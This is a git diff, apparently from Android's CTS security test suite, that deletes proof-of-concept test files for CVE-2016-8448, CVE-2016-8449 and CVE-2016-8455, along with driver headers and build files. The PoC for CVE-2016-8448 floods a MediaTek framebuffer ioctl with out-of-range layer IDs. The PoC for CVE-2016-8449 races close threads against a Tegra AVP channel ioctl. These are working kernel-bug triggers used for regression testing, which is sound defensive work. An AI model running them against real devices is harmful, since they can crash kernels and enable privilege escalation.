-#define MTKFB_SET_VIDEO_LAYERS MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER MTK_IO(11)
-#define MTKFB_POWERON MTK_IO(12)
-#define MTKFB_POWEROFF MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE MTK_IOR(20, unsigned long) /* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE MTK_IOR(21, unsigned long) /* /0: power off 1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE 512 /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION MTK_IO(49)
-#define MTKFB_GETFPS MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ MTK_IOW(52, unsigned long) /* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
- MTK_FB_ORIENTATION_0 = 0,
- MTK_FB_ORIENTATION_90 = 1,
- MTK_FB_ORIENTATION_180 = 2,
- MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
- MTK_FB_TV_SYSTEM_NTSC = 0,
- MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
- MTK_FB_TV_FMT_RGB565 = 0,
- MTK_FB_TV_FMT_YUV420_SEQ = 1,
- MTK_FB_TV_FMT_UYUV422 = 2,
- MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
- LAYER_NORMAL_BUFFER = 0,
- LAYER_SECURE_BUFFER = 1,
- LAYER_PROTECTED_BUFFER = 2,
- LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001, /* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
- char name[32];
- int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
- MTK_FB_FORMAT format;
-
- volatile char *outputBuffer;
- unsigned int wdma_width;
- unsigned int wdma_height;
-};
-
-struct fb_scale {
- unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
- unsigned int idx;
- unsigned long offset;
-};
-
-struct fb_update_window {
- unsigned int x, y;
- unsigned int width, height;
-};
-
-typedef enum {
- LAYER_2D = 0,
- LAYER_3D_SBS_0 = 0x1,
- LAYER_3D_SBS_90 = 0x2,
- LAYER_3D_SBS_180 = 0x3,
- LAYER_3D_SBS_270 = 0x4,
- LAYER_3D_TAB_0 = 0x10,
- LAYER_3D_TAB_90 = 0x20,
- LAYER_3D_TAB_180 = 0x30,
- LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
- DISP_DIRECT_LINK_MODE,
- DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
- MTK_DISP_MODE mode;
-};
-
-typedef enum { /* map sessions to scenairos in kernel driver */
- DISP_SESSION_LCM = 1 << 0, /* DSI0 */
- DISP_SESSION_MEM = 1 << 1, /* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
- DISP_SESSION_WFD = 1 << 2,
- DISP_SESSION_MHL = 1 << 3, /* DPI */
- DISP_SESSION_LCM1 = 1 << 4, /* DSI1 */
- DISP_SESSION_MEM1 = 1 << 5, /* OVL1->WDMA1 */
- /* TODO:can be extended with other Session Id */
- SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
- unsigned int session; /* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
- MTK_DISP_MODE mode;
- unsigned int session;
-};
-struct fb_overlay_buffer {
- /* Input */
- int layer_id;
- unsigned int layer_en;
- int ion_fd;
- unsigned int cache_sync;
- /* Output */
- unsigned int index;
- int fence_fd;
-};
-
-struct fb_overlay_layer {
- unsigned int layer_id;
- unsigned int layer_enable;
-
- void *src_base_addr;
- void *src_phy_addr;
- unsigned int src_direct_link;
- MTK_FB_FORMAT src_fmt;
- unsigned int src_use_color_key;
- unsigned int src_color_key;
- unsigned int src_pitch;
- unsigned int src_offset_x, src_offset_y;
- unsigned int src_width, src_height;
-
- unsigned int tgt_offset_x, tgt_offset_y;
- unsigned int tgt_width, tgt_height;
- MTK_FB_ORIENTATION layer_rotation;
- MTK_FB_LAYER_TYPE layer_type;
- MTK_FB_ORIENTATION video_rotation;
-
- unsigned int isTdshp; /* set to 1, will go through tdshp first, then layer blending, then to color */
-
- int next_buff_idx;
- int identity;
- int connected_type;
- unsigned int security;
- unsigned int alpha_enable;
- unsigned int alpha;
- int fence_fd; /* 8135 */
- int ion_fd; /* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
- int fence;
- int time;
- struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
- unsigned int src_vir_addr;
- unsigned int size;
-};
-
-struct fb_overlay_layer_info {
- unsigned int layer_id;
- unsigned int layer_enabled; /* TO BE DEL */
- unsigned int curr_en;
- unsigned int next_en;
- unsigned int hw_en;
- int curr_idx;
- int next_idx;
- int hw_idx;
- int curr_identity;
- int next_identity;
- int hw_identity;
- int curr_conn_type;
- int next_conn_type;
- int hw_conn_type;
- MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
- void *phy_addr;
- void *vir_addr;
- MTK_FB_TV_SRC_FORMAT format;
- unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
- MTKFB_DISABLED = 0,
- MTKFB_SUSPENDED = 99,
- MTKFB_ACTIVE = 100
-};
-
-typedef enum {
- MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
- MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
- MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
- struct work_struct work;
- struct list_head list;
- struct fb_overlay_config config;
- struct sync_fence *fences[4];
- struct ion_handle *ion_handles[4];
- void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
- int state;
- void *fb_va_base; /* MPU virtual address */
- dma_addr_t fb_pa_base; /* Bus physical address */
- unsigned long fb_size_in_byte;
- void *ovl_va_base; /* MPU virtual address */
- dma_addr_t ovl_pa_base; /* Bus physical address */
- unsigned long ovl_size_in_byte;
-
- unsigned long layer_enable;
- MTK_FB_FORMAT *layer_format;
- unsigned int layer_config_dirty;
-
- int xscale, yscale, mirror; /* transformations.
- rotate is stored in fb_info->var */
- u32 pseudo_palette[17];
-
- struct fb_info *fb_info; /* Linux fbdev framework data */
- struct device *dev;
-
- /* Android native fence support */
- struct workqueue_struct *update_ovls_wq;
- struct mutex timeline_lock;
- struct sw_sync_timeline *timeline;
- int timeline_max;
- struct list_head pending_configs; /* CL2340210 */
- struct ion_client *ion_client;
-};
-
-#endif /* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif /* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
- typedef enum {
- DISPIF_TYPE_DBI = 0,
- DISPIF_TYPE_DPI,
- DISPIF_TYPE_DSI,
- DISPIF_TYPE_DPI0,
- DISPIF_TYPE_DPI1,
- DISPIF_TYPE_DSI0,
- DISPIF_TYPE_DSI1,
- HDMI = 7,
- HDMI_SMARTBOOK,
- MHL,
- DISPIF_TYPE_EPD,
- SLIMPORT
- } MTKFB_DISPIF_TYPE;
-
- typedef enum {
- MTKFB_DISPIF_PRIMARY_LCD = 0,
- MTKFB_DISPIF_HDMI,
- MTKFB_DISPIF_EPD,
- MTKFB_MAX_DISPLAY_COUNT
- } MTKFB_DISPIF_DEVICE_TYPE;
-
- typedef enum {
- DISPIF_FORMAT_RGB565 = 0,
- DISPIF_FORMAT_RGB666,
- DISPIF_FORMAT_RGB888
- } MTKFB_DISPIF_FORMAT;
-
-
- typedef enum {
- DISPIF_MODE_VIDEO = 0,
- DISPIF_MODE_COMMAND
- } MTKFB_DISPIF_MODE;
-
- typedef struct mtk_dispif_info {
- unsigned int display_id;
- unsigned int isHwVsyncAvailable;
- MTKFB_DISPIF_TYPE displayType;
- unsigned int displayWidth;
- unsigned int displayHeight;
- unsigned int displayFormat;
- MTKFB_DISPIF_MODE displayMode;
- unsigned int vsyncFPS;
- unsigned int physicalWidth;
- unsigned int physicalHeight;
- unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
- unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
- unsigned int lcmOriginalHeight;
- } mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp) (((id) << 8) | (bpp))
-
- typedef enum {
- MTK_FB_FORMAT_UNKNOWN = 0,
-
- MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
- MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
- MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
- MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
- MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
- MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
- MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
- MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
- MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
- MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
- MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
- MTK_FB_FORMAT_BPP_MASK = 0xFF,
- } MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f) ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif /* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
- int fd = 0;
- struct fb_overlay_layer layerInfo;
- memset(&layerInfo, 0, sizeof(layerInfo));
- fd = open("/dev/graphics/fb0", O_RDWR);
- if (fd < 0) {
- perror("open /dev/graphics/fb0");
- exit(-1);
- }
- printf("Device file opened successfully\n");
- printf("Trying to get layer info\n");
- if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
- perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
- exit(-2);
- }
- printf("Got layer info\n");
- printf("Trying to set layer info\n");
- // set any huge value here
- int curr_val = 0xf1111111;
- while(1) {
- layerInfo.layer_id = curr_val;
- if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
- perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
- //exit(-2);
- }
- curr_val--;
- if(curr_val == -1) {
- break;
- }
- }
- printf("Set layer info\n");
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 72129c2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM 100
-#define TRY_TIMES 900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC 'n'
-
-struct nvavp_channel_open_args {
- __u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN _IOR(NVAVP_IOCTL_MAGIC, 0x73, \
- struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if(ret == -1){
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
- set_affinity(1);
-
- while(attack){
- close(target_fd);
- }
-
- return NULL;
-}
-
-int main()
-{
- int i, try_time = TRY_TIMES, ret;
- struct nvavp_channel_open_args o_args = { 0 };
-
- /* bind_cpu */
- set_affinity(0);
-
- /* open dev */
- fd = open(DEV, O_RDONLY);
- if(fd == -1){
- ERR("[-] open failed");
- return 0;
- } else {
- LOG("[+] open OK");
- }
-
- #if 1
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- goto out_dev;
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
-
- target_fd = o_args.channel_fd;
- #endif
-
- /* create close thread */
- #if 1
- attack = 1;
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
- if(ret){
- ERR("[-] create close thread %d failed", i);
- goto out_close_thread;
- }
- }
- #endif
-
- #if 1
- for(i = 0; i < TRY_TIMES; i++){
- LOG("[+] %03d times", i);
- /* open */
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
- //usleep(200);
- }
- #endif
-
-out_close_thread:
- attack = 0;
- /* kill close thread */
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- if(close_thread_id[i])
- pthread_join(close_thread_id[i], NULL);
- }
-out_dev:
- close(fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
